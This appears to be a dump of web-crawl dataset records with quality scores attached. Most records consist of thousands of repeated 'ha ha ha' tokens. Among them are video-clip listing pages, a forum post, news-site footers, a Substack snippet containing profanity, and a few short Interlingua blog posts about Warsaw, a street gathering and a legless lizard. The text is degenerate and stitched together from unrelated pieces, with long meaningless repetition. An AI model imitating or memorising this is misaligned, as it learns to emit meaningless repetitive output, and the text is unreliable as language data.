ha\nThe Loud House\nSearch clips of this video\nRelated play\nDisable\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nLike Embed Gif Yarn Story Make Meme Share\nCopy the URL for easy sharing\nhttps:\/\/memes.yarn.co\/yarn-clip\/a918c30c-b890-4b5b-b066-e0827dc056e5\n😎\n😐\n😂\n😘\n😳\n😍\n#no\n#whatever\n#done\n#wait\nIce Age (2002)\n1s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Tigger Movie\n1.5s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nAlvin and the Chipmunks: The Squeakquel (2009)\n2.7s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nAlvin and the Chipmunks: The Squeakquel (2009)\n2.7s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Muppet Show (1976) - S02E14 Elton John\n1s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha!\nThe Loud House\n2.1s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIce Age (2002)\n1s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIce Age (2002)\n4.4s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nRango\n22.6s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nAlvin and the Chipmunks: The Squeakquel (2009)\n2.7s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIce Age (2002)\n4.4s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nBingo\n1.5s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nCars 3\n2.6s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nHotel Transylvania 2 (2015)\n2.3s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIncredibles 2\n3s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nBingo\n1.5s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha","num_words":1174,"character_repetition_ratio":0.682,"word_repetition_ratio":0.716,"special_characters_ratio":0.33,"stopwords_ratio":0.007,"flagged_words_ratio":0.0,"lang_id_score":0.942,"perplexity_score":164102.3,"cluster_detection":1} +{"text":"YARN | Ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha | Ice Age (2002) | Video clips by quotes | 816d42ac | 紗\nHOT\nAPP\nQUIZZES\nDISCOVER\nYARNS\nEMOJI\nMore\nCREATE STORIES\nPHRASES\nNUDGE CLIPS\nCONTENT REQUEST\nLOGIN\nHOT\nAPP\nDISCOVER\nYARNS\nEMOJI\nSTORY\nPHRASES\nNUDGE CLIPS\nREQUEST CONTENT\n×\nYarn is the best way to find video clips by quote. Find the exact moment in a TV show, movie, or music video you want to share. Easily move forward or backward to get to the perfect spot. It's available on the web and also on Android and iOS.\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIce Age (2002)\nSearch clips of this video\nRelated play\nDisable\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nLike Embed Gif Yarn Story Make Meme Share\nCopy the URL for easy sharing\nhttps:\/\/memes.yarn.co\/yarn-clip\/816d42ac-0c9e-47ea-bbea-9038b8b4cbaa\n😎\n😐\n😂\n😘\n😳\n😍\n#kisses\n#seriously\n#whining\n#yawning\nIce Age (2002)\n1s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Tigger Movie\n1.5s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nAlvin and the Chipmunks: The Squeakquel (2009)\n2.7s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nAlvin and the Chipmunks: The Squeakquel (2009)\n2.7s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Muppet Show (1976) - S02E14 Elton John\n1s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha!\nThe Loud House\n2.1s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIce Age (2002)\n1s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIce Age (2002)\n4.4s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nRango\n22.6s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nAlvin and the Chipmunks: The Squeakquel (2009)\n2.7s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nBingo\n1.5s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nCars 3\n2.6s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Loud House\n2.2s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nBingo\n1.5s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Loud House\n0.8s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIncredibles 2\n3s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha","num_words":1178,"character_repetition_ratio":0.686,"word_repetition_ratio":0.739,"special_characters_ratio":0.329,"stopwords_ratio":0.006,"flagged_words_ratio":0.0,"lang_id_score":0.946,"perplexity_score":166461.0,"cluster_detection":1} +{"text":"ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nShow Contact Information\nFacebook\nTwitter\nPinterest\nWhatsApp\nPrevious articlehttps:\/\/www.facebook.com\/truebody.acv.keto.gummies.in.usa\/\nNext articleAt the signal, the little troop,\nEdition Digitale: 18 SEPTEMBRE 2024\nVIDEO\/AUDIO\nANOTHER VISION: Inside Haiti’s Uprising – 3 Part Playlist\nThe Assassination of President Jovenel Moïse: What’s Next? Mimi Rosenberg interviews Kim Ives on WBAI’s Equal Rights & Justice (7\/15\/21)\nhttps:\/\/haitiliberte.com\/wp-content\/uploads\/2021\/07\/2021-07-15-Mimi-Rosenberg-interviews-Kim-Ives-on-Equal-Rights-Justice.mp3","num_words":1131,"character_repetition_ratio":0.845,"word_repetition_ratio":0.882,"special_characters_ratio":0.318,"stopwords_ratio":0.003,"flagged_words_ratio":0.0,"lang_id_score":0.997,"perplexity_score":236452.7,"cluster_detection":1} +{"text":"Ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha!","num_words":170,"character_repetition_ratio":0.665,"word_repetition_ratio":1.0,"special_characters_ratio":0.333,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":448825.6,"cluster_detection":1} +{"text":"ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha.\nseriously, fuck that guy.\neveryone is entitled to my own opinion is a reader-supported publication. To receive new posts and support my work, consider becoming a free or paid subscriber.","num_words":440,"character_repetition_ratio":0.861,"word_repetition_ratio":0.884,"special_characters_ratio":0.314,"stopwords_ratio":0.002,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":349650.9,"cluster_detection":1} diff --git a/ina_Latn/new_cc_000006_remove.jsonl b/ina_Latn/new_cc_000006_remove.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..3eb152df0148b8a1294e79300a2088e33a2a7fc0 --- /dev/null +++ b/ina_Latn/new_cc_000006_remove.jsonl @@ -0,0 +1,15 @@ +{"text":"Io ha retornate hodie de un breve viage in Polonia, plus precisemente a Varsavia. Le amicos polonese qui io cognosce in Helsinki me habeva alertate que Varsavia es un del citates minus actractive del Polonia, ma io ha essite multo satisfacite de lo que ha vidite. Le tempore non esseva perfecte, il habeva sol solmente sabbato, durante que in le altere dies le ciel esseva coperite per nubes non troppo aggressive. Io ha versate un mar de photos in le galleria, pro vostre uso e consumo.","num_words":98,"character_repetition_ratio":0.004,"word_repetition_ratio":0.0,"special_characters_ratio":0.193,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":163862.0,"cluster_detection":-1} +{"text":"god ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ra its all real 695 2166 361 835","num_words":33,"character_repetition_ratio":0.635,"word_repetition_ratio":0.583,"special_characters_ratio":0.419,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.681,"perplexity_score":372465.3,"cluster_detection":-1} +{"text":"Io incontrava iste signo quando io retornava a casa in le postmeridie de sabbato. Retro al signo, il habeva multe juvenes, alicunes sedeva sur le strata e habeva un sorta de pic-nic, alteres dansava al musica producite per potente apparatos phonic. Io non sapeva que esseva iste evento, ma illo pareva ben organisate.\nRetornate a casa, io cercava informationes super iste evento in le internet, e trovava un explication in wikipedia. Le idea me place.","num_words":80,"character_repetition_ratio":0.014,"word_repetition_ratio":0.0,"special_characters_ratio":0.191,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":122889.3,"cluster_detection":-1} +{"text":"Io incontrava iste signo quando io retornava a casa in le postmeridie de sabbato. Retro al signo, il habeva multe juvenes, alicunes sedeva sur le strata e habeva un sorta de pic-nic, alteres dansava al musica producite per potente apparatos phonic. Io non sapeva que esseva iste evento, ma illo pareva ben organisate.\nRetornate a casa, io cercava informationes super iste evento in le internet, e trovava un explication in wikipedia. Le idea me place.","num_words":80,"character_repetition_ratio":0.014,"word_repetition_ratio":0.0,"special_characters_ratio":0.191,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":122889.3,"cluster_detection":-1} +{"text":"god ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ra its all real 695 2166 361 836","num_words":33,"character_repetition_ratio":0.635,"word_repetition_ratio":0.583,"special_characters_ratio":0.419,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.6,"perplexity_score":372465.3,"cluster_detection":-1} +{"text":"Secundo le zoologos, isto non es un ver serpente, ma un lacerta sin pedes. Io non es secur que io comprende a fundo le differentia, ma isto non importa.","num_words":31,"character_repetition_ratio":0.014,"word_repetition_ratio":0.0,"special_characters_ratio":0.217,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":128610.5,"cluster_detection":-1} +{"text":"Ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha......\nNo! 😒\nAdmin\n[IP address logged]\nReport Abuse Reply To This Message\nTop of Board | Forum List | Threaded View Forum Rules | Newer Topic | Older Topic | end\nRows: 1\nForum List | Need a Login? Register Here\nUser Login\nUser Name:\nPassword:\nRemember my login:\nForgot Your Password?\nEnter your email address or user name below and a new password will be sent to the email address associated with your profile.","num_words":545,"character_repetition_ratio":0.772,"word_repetition_ratio":0.791,"special_characters_ratio":0.311,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.986,"perplexity_score":299793.2,"cluster_detection":-1} +{"text":"god ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ra its all real 695 2166 361 836","num_words":33,"character_repetition_ratio":0.635,"word_repetition_ratio":0.583,"special_characters_ratio":0.419,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.6,"perplexity_score":372465.3,"cluster_detection":-1} +{"text":"Ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha!\nApparent Horizon—an award-winning political column—is syndicated by the MassWire news service of the Boston Institute for Nonprofit Journalism. Jason Pramas is BINJ’s executive director, and executive editor and associate publisher of DigBoston. Once civilization starts collapsing thanks to the utter failure of the recently-concluded 2021 United Nations Climate Change Conference (COP 26) to do anything meaningful to stop runaway, human-induced, global warming, you can reach him by courier at Third Ditch to the Left of that Funny Rock on the Hill Near the Old Zinc Mine, Nanisivik, Qikiqtaaluk, Nunavut, The Arctic.\nNovember 14, 2021 - 23:41 Jason Apparent Horizon, COLUMNS, News, News to Us, NEWS+OPINIONS, Politics\n2021 Climate Change Conference, agreement, Apparent Horizon, carbon, China, Climate Change, coal, Column, COP 25, corporations, democracy, Doom, EU, European Union, Failure, france, gas, Germany, global warming, India!, Italy, Jason Pramas, oil, Saudi Arabia, UK, UN, United Kingdom, united nations, United States, US","num_words":958,"character_repetition_ratio":0.689,"word_repetition_ratio":0.728,"special_characters_ratio":0.296,"stopwords_ratio":0.002,"flagged_words_ratio":0.0,"lang_id_score":0.936,"perplexity_score":217681.2,"cluster_detection":-1} +{"text":"ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha 